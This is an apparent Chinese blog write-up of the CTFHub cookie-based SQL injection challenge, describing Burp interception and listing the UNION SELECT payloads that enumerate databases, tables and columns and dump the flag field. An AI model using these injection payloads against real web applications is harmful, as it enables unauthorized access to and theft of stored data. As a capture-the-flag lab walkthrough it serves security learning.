CTFHUB-SQL注入-Cookie注入

由于本关是cookie注入,就不浪费时间判断注入了,在该页面使用 burp工具 抓包,修改cookie后面,加上SQL语句,关掉burp抓包,就可以在题目页面显示结果了

判断字段数量

发现字段数量是2列

使用id=-1 union select 1,2 判断回显

回显位置是第一二列

查询数据库名

union select 1,database()

查询所有数据库名

union select 1,group_concat(schema_name)from information_schema.schemata

查询数据库中的表名

union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

发现了2个表

查询表中字段名

union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='jhyppjlnjp'

查询字段下的数据

union select 1,group_concat(txpyjbpxlj) from sqli.jhyppjlnjp

  • 15
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值